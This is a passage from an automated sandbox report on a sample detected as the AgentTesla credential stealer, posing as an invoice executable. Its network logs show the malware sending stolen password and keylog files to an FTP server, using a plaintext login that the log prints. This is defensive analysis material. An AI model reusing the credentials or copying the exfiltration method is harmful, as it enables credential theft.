Dec 31, 2024 14:02:16.979429960 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:16.979441881 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.480067968 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.480154037 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:17.482645988 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:17.482654095 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.482887030 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.526559114 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:17.545104980 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:17.587335110 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.653352976 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.653410912 CET	443	49732	104.26.12.205	192.168.2.5
Dec 31, 2024 14:02:17.656279087 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:17.662552118 CET	49732	443	192.168.2.5	104.26.12.205
Dec 31, 2024 14:02:18.751844883 CET	49713	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:18.768769979 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:18.773612976 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:18.773669958 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:19.372648001 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:19.372910976 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:19.378017902 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:19.567356110 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:19.567485094 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:19.572237015 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:19.831259966 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:19.831506968 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:19.836388111 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.025906086 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.026046038 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:20.030853987 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.220060110 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.220176935 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:20.224976063 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.413980007 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.417009115 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:20.421792984 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.610661983 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.613274097 CET	49756	63292	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:20.618176937 CET	63292	49756	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:20.618277073 CET	49756	63292	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:20.618400097 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:20.623328924 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:21.171152115 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:21.179730892 CET	49756	63292	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:21.183358908 CET	49756	63292	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:21.184576035 CET	63292	49756	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:21.188291073 CET	63292	49756	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:21.188361883 CET	49756	63292	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:21.214138031 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:02:21.377569914 CET	21	49745	213.189.52.181	192.168.2.5
Dec 31, 2024 14:02:21.432797909 CET	49745	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:29.601514101 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:29.606372118 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:29.791431904 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:29.792387962 CET	49990	64485	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:29.797245026 CET	64485	49990	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:29.797324896 CET	49990	64485	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:29.800921917 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:29.805779934 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:30.355446100 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:30.355663061 CET	49990	64485	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:30.355735064 CET	49990	64485	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:30.360522032 CET	64485	49990	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:30.360728979 CET	64485	49990	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:30.360785961 CET	49990	64485	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:30.433381081 CET	49707	21	192.168.2.5	213.189.52.181
Dec 31, 2024 14:03:30.547830105 CET	21	49707	213.189.52.181	192.168.2.5
Dec 31, 2024 14:03:30.685317039 CET	49707	21	192.168.2.5	213.189.52.181

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 14:01:54.737750053 CET	52186	53	192.168.2.5	1.1.1.1
Dec 31, 2024 14:01:54.744622946 CET	53	52186	1.1.1.1	192.168.2.5
Dec 31, 2024 14:01:56.672291994 CET	53402	53	192.168.2.5	1.1.1.1
Dec 31, 2024 14:01:56.682233095 CET	53	53402	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 14:01:54.737750053 CET	192.168.2.5	1.1.1.1	0x263f	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Dec 31, 2024 14:01:56.672291994 CET	192.168.2.5	1.1.1.1	0x23c4	Standard query (0)	s4.serv00.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 14:01:54.744622946 CET	1.1.1.1	192.168.2.5	0x263f	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Dec 31, 2024 14:01:54.744622946 CET	1.1.1.1	192.168.2.5	0x263f	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Dec 31, 2024 14:01:54.744622946 CET	1.1.1.1	192.168.2.5	0x263f	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Dec 31, 2024 14:01:56.682233095 CET	1.1.1.1	192.168.2.5	0x23c4	No error (0)	s4.serv00.com	213.189.52.181	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.26.12.205	443	1288	C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 13:01:55 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-12-31 13:01:55 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 13:01:55 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8faa7604ef1042fd-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1574&min_rtt=1561&rtt_var=612&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=769&delivery_rate=1749550&cwnd=248&unsent_bytes=0&cid=58348ebbd0706511&ts=159&x=0"
2024-12-31 13:01:55 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	104.26.12.205	443	7116	C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 13:02:09 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-12-31 13:02:09 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 13:02:09 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8faa765d69db176c-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1490&min_rtt=1486&rtt_var=566&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=769&delivery_rate=1916010&cwnd=252&unsent_bytes=0&cid=cd596e23147c0a8d&ts=158&x=0"
2024-12-31 13:02:09 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49732	104.26.12.205	443	6292	C:\Users\user\AppData\Roaming\Adobe\adobe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 13:02:17 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-12-31 13:02:17 UTC	424	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 13:02:17 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8faa768ffac242e3-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1566&rtt_var=593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=769&delivery_rate=1837633&cwnd=204&unsent_bytes=0&cid=683729b5134b66a9&ts=177&x=0"
2024-12-31 13:02:17 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Dec 31, 2024 14:01:57.269740105 CET	21	49707	213.189.52.181	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:01. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:01. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:01. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 15 minutes of inactivity.
Dec 31, 2024 14:01:57.270003080 CET	49707	21	192.168.2.5	213.189.52.181	USER f2241_evico
Dec 31, 2024 14:01:57.459942102 CET	21	49707	213.189.52.181	192.168.2.5	331 User f2241_evico OK. Password required
Dec 31, 2024 14:01:57.460134983 CET	49707	21	192.168.2.5	213.189.52.181	PASS Doll650#@
Dec 31, 2024 14:01:57.718554020 CET	21	49707	213.189.52.181	192.168.2.5	230 OK. Current restricted directory is /
Dec 31, 2024 14:01:57.908855915 CET	21	49707	213.189.52.181	192.168.2.5	504 Unknown command
Dec 31, 2024 14:01:57.915699959 CET	49707	21	192.168.2.5	213.189.52.181	PWD
Dec 31, 2024 14:01:58.105416059 CET	21	49707	213.189.52.181	192.168.2.5	257 "/" is your current location
Dec 31, 2024 14:01:58.105654001 CET	49707	21	192.168.2.5	213.189.52.181	TYPE I
Dec 31, 2024 14:01:58.295603037 CET	21	49707	213.189.52.181	192.168.2.5	200 TYPE is now 8-bit binary
Dec 31, 2024 14:01:58.295809031 CET	49707	21	192.168.2.5	213.189.52.181	PASV
Dec 31, 2024 14:01:58.486294985 CET	21	49707	213.189.52.181	192.168.2.5	227 Entering Passive Mode (213,189,52,181,249,31)
Dec 31, 2024 14:01:58.492073059 CET	49707	21	192.168.2.5	213.189.52.181	STOR PW_user-724536_2024_12_31_08_01_55.html
Dec 31, 2024 14:01:59.039180994 CET	21	49707	213.189.52.181	192.168.2.5	150 Accepted data connection
Dec 31, 2024 14:01:59.230031013 CET	21	49707	213.189.52.181	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.191 seconds (measured here), 1.78 Kbytes per second
Dec 31, 2024 14:02:11.168958902 CET	21	49713	213.189.52.181	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:02. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:02. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:02. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 15 minutes of inactivity.
Dec 31, 2024 14:02:11.169184923 CET	49713	21	192.168.2.5	213.189.52.181	USER f2241_evico
Dec 31, 2024 14:02:11.359651089 CET	21	49713	213.189.52.181	192.168.2.5	331 User f2241_evico OK. Password required
Dec 31, 2024 14:02:11.360601902 CET	49713	21	192.168.2.5	213.189.52.181	PASS Doll650#@
Dec 31, 2024 14:02:11.664518118 CET	21	49713	213.189.52.181	192.168.2.5	230 OK. Current restricted directory is /
Dec 31, 2024 14:02:11.858036041 CET	21	49713	213.189.52.181	192.168.2.5	504 Unknown command
Dec 31, 2024 14:02:11.865643024 CET	49713	21	192.168.2.5	213.189.52.181	PWD
Dec 31, 2024 14:02:12.058001995 CET	21	49713	213.189.52.181	192.168.2.5	257 "/" is your current location
Dec 31, 2024 14:02:12.058142900 CET	49713	21	192.168.2.5	213.189.52.181	TYPE I
Dec 31, 2024 14:02:12.248311996 CET	21	49713	213.189.52.181	192.168.2.5	200 TYPE is now 8-bit binary
Dec 31, 2024 14:02:12.248429060 CET	49713	21	192.168.2.5	213.189.52.181	PASV
Dec 31, 2024 14:02:12.438653946 CET	21	49713	213.189.52.181	192.168.2.5	227 Entering Passive Mode (213,189,52,181,247,243)
Dec 31, 2024 14:02:12.444135904 CET	49713	21	192.168.2.5	213.189.52.181	STOR PW_user-724536_2024_12_31_08_02_09.html
Dec 31, 2024 14:02:13.007286072 CET	21	49713	213.189.52.181	192.168.2.5	150 Accepted data connection
Dec 31, 2024 14:02:13.198127031 CET	21	49713	213.189.52.181	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.191 seconds (measured here), 1.78 Kbytes per second
Dec 31, 2024 14:02:19.372648001 CET	21	49745	213.189.52.181	192.168.2.5	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:02. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:02. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 4 of 150 allowed.220-Local time is now 14:02. Server port: 21.220-This is a private system - No anonymous login220 You will be disconnected after 15 minutes of inactivity.
Dec 31, 2024 14:02:19.372910976 CET	49745	21	192.168.2.5	213.189.52.181	USER f2241_evico
Dec 31, 2024 14:02:19.567356110 CET	21	49745	213.189.52.181	192.168.2.5	331 User f2241_evico OK. Password required
Dec 31, 2024 14:02:19.567485094 CET	49745	21	192.168.2.5	213.189.52.181	PASS Doll650#@
Dec 31, 2024 14:02:19.831259966 CET	21	49745	213.189.52.181	192.168.2.5	230 OK. Current restricted directory is /
Dec 31, 2024 14:02:20.025906086 CET	21	49745	213.189.52.181	192.168.2.5	504 Unknown command
Dec 31, 2024 14:02:20.026046038 CET	49745	21	192.168.2.5	213.189.52.181	PWD
Dec 31, 2024 14:02:20.220060110 CET	21	49745	213.189.52.181	192.168.2.5	257 "/" is your current location
Dec 31, 2024 14:02:20.220176935 CET	49745	21	192.168.2.5	213.189.52.181	TYPE I
Dec 31, 2024 14:02:20.413980007 CET	21	49745	213.189.52.181	192.168.2.5	200 TYPE is now 8-bit binary
Dec 31, 2024 14:02:20.417009115 CET	49745	21	192.168.2.5	213.189.52.181	PASV
Dec 31, 2024 14:02:20.610661983 CET	21	49745	213.189.52.181	192.168.2.5	227 Entering Passive Mode (213,189,52,181,247,60)
Dec 31, 2024 14:02:20.618400097 CET	49745	21	192.168.2.5	213.189.52.181	STOR PW_user-724536_2024_12_31_08_02_17.html
Dec 31, 2024 14:02:21.171152115 CET	21	49745	213.189.52.181	192.168.2.5	150 Accepted data connection
Dec 31, 2024 14:02:21.377569914 CET	21	49745	213.189.52.181	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.206 seconds (measured here), 1.65 Kbytes per second
Dec 31, 2024 14:03:29.601514101 CET	49707	21	192.168.2.5	213.189.52.181	PASV
Dec 31, 2024 14:03:29.791431904 CET	21	49707	213.189.52.181	192.168.2.5	227 Entering Passive Mode (213,189,52,181,251,229)
Dec 31, 2024 14:03:29.800921917 CET	49707	21	192.168.2.5	213.189.52.181	STOR KL_user-724536_2025_01_15_08_20_38.html
Dec 31, 2024 14:03:30.355446100 CET	21	49707	213.189.52.181	192.168.2.5	150 Accepted data connection
Dec 31, 2024 14:03:30.547830105 CET	21	49707	213.189.52.181	192.168.2.5	226-File successfully transferred 226-File successfully transferred226 0.192 seconds (measured here), 1.47 Kbytes per second

Target ID:	0
Start time:	08:01:53
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe"
Imagebase:	0xf70000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2018623080.0000000004329000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:01:53
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe"
Imagebase:	0x750000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4486848273.0000000002B9C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.4486848273.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:02:07
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\Adobe\adobe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Imagebase:	0x570000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:02:07
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\Adobe\adobe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Imagebase:	0x340000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:02:07
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\Adobe\adobe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Imagebase:	0x9d0000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2241640405.0000000002CCC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2237605469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2241640405.0000000002CA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:02:15
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\Adobe\adobe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Imagebase:	0x590000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:02:15
Start date:	31/12/2024
Path:	C:\Users\user\AppData\Roaming\Adobe\adobe.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\adobe\adobe.exe"
Imagebase:	0x5b0000
File size:	486'912 bytes
MD5 hash:	CF173CA1DB13DFC7237FD33630926B65
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.4487080897.00000000028E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.4487080897.000000000290C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	33
Total number of Limit Nodes:	5

Executed Functions

Function 0163D208 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0163D296
GetCurrentThread.KERNEL32 ref: 0163D2D3
GetCurrentProcess.KERNEL32 ref: 0163D310
GetCurrentThreadId.KERNEL32 ref: 0163D369

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 05b8233660017e602cbc2c2f7177e143617f4ca5a07876ca7309e80391146023
Instruction ID: 0524eec1992522e2e4afb9af50ebaa91758a725877041d1ea6ff774601be51be
Opcode Fuzzy Hash: 05b8233660017e602cbc2c2f7177e143617f4ca5a07876ca7309e80391146023
Instruction Fuzzy Hash: 395165B09102498FEB04DFA9D948BAEBFF1FF89314F24C459E119A7360D7389984CB65

Function 0163D218 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0163D296
GetCurrentThread.KERNEL32 ref: 0163D2D3
GetCurrentProcess.KERNEL32 ref: 0163D310
GetCurrentThreadId.KERNEL32 ref: 0163D369

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 011d8237e2c1f54dc2c13b05ecec513376522699fe3ab03b29e6e4e27dea5e7c
Instruction ID: 08f7a988bc684439d4c78eeea48c7096e7fb64109fa5bcd8e8c9640a2fb66a3c
Opcode Fuzzy Hash: 011d8237e2c1f54dc2c13b05ecec513376522699fe3ab03b29e6e4e27dea5e7c
Instruction Fuzzy Hash: E35177B09102098FDB04DFAAD948BAEBBF1FF88314F20C05DE119A7360D7389984CB65

Function 0163AE50 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0163B0B6

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8a6e3e1dd10f5e512f30dd6b5b38f34d02684048d11ae11d8927b055d606cf3d
Instruction ID: ed55b919c2144ca05639d60800582c52569df1d55385a4ab2a83293759a104d3
Opcode Fuzzy Hash: 8a6e3e1dd10f5e512f30dd6b5b38f34d02684048d11ae11d8927b055d606cf3d
Instruction Fuzzy Hash: 078132B0A00B468FD724DF69D98479ABBF1BF88304F00892DD486DBB50D775E909CB95

Function 0163590D Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 016359C9

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4fe0bb3e92d5547533c5d1432c5a5e12ebd6b5260122ddf80a683aa38bdeae2a
Instruction ID: 8f722a90bfc19dde87566d54cee3d0a05838c4cb6b39a853d8f39c655253f44e
Opcode Fuzzy Hash: 4fe0bb3e92d5547533c5d1432c5a5e12ebd6b5260122ddf80a683aa38bdeae2a
Instruction Fuzzy Hash: 164101B0C10319CEDB24CFA9C888B8DBBF1BF89304F24816AD409AB255DB756946CF51

Function 01634248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 016359C9

Memory Dump Source

Source File: 00000000.00000002.2017351385.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_Statement of Account - USD 16,720.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c268967c0f81a8ddf9d2605e7116ca9632d3e6f2e9cfe9a4e481ed5f6a88b362
Instruction ID: eb15ae988ed53a77101f6d8753e1169d8aac9604238a11cb9e90de664d8e85a7
